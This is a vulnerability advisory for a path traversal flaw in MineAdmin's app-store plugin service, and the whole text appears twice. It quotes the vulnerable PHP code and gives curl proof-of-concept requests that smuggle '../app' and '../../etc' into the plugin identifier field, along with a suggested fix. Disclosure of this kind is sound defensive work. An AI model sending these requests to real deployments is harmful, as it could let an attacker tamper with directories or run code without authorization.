CVE-2026-55224

MineAdmin is a ready-to-use backend management system suitable for quickly building website backends, operation platforms, permission centers, internal management systems, CMS, CRM, OA, ERP and other business applications. Prior to version 3.2.0-alpha.2, the app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands. This issue has been patched in version 3.2.0-alpha.2.

MineAdmin is a ready-to-use backend management system suitable for quickly building website backends, operation platforms, permission centers, internal management systems, CMS, CRM, OA, ERP and other business applications. Prior to version 3.2.0-alpha.2, the app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands. This issue has been patched in version 3.2.0-alpha.2.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

MineAdmin is a ready-to-use backend management system suitable for quickly building website backends, operation platforms, permission centers, internal management systems, CMS, CRM, OA, ERP and other business applications. Prior to version 3.2.0-alpha.2, the app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands. This issue has been patched in version 3.2.0-alpha.2.

MineAdmin is a ready-to-use backend management system suitable for quickly building website backends, operation platforms, permission centers, internal management systems, CMS, CRM, OA, ERP and other business applications. Prior to version 3.2.0-alpha.2, the app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands. This issue has been patched in version 3.2.0-alpha.2.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.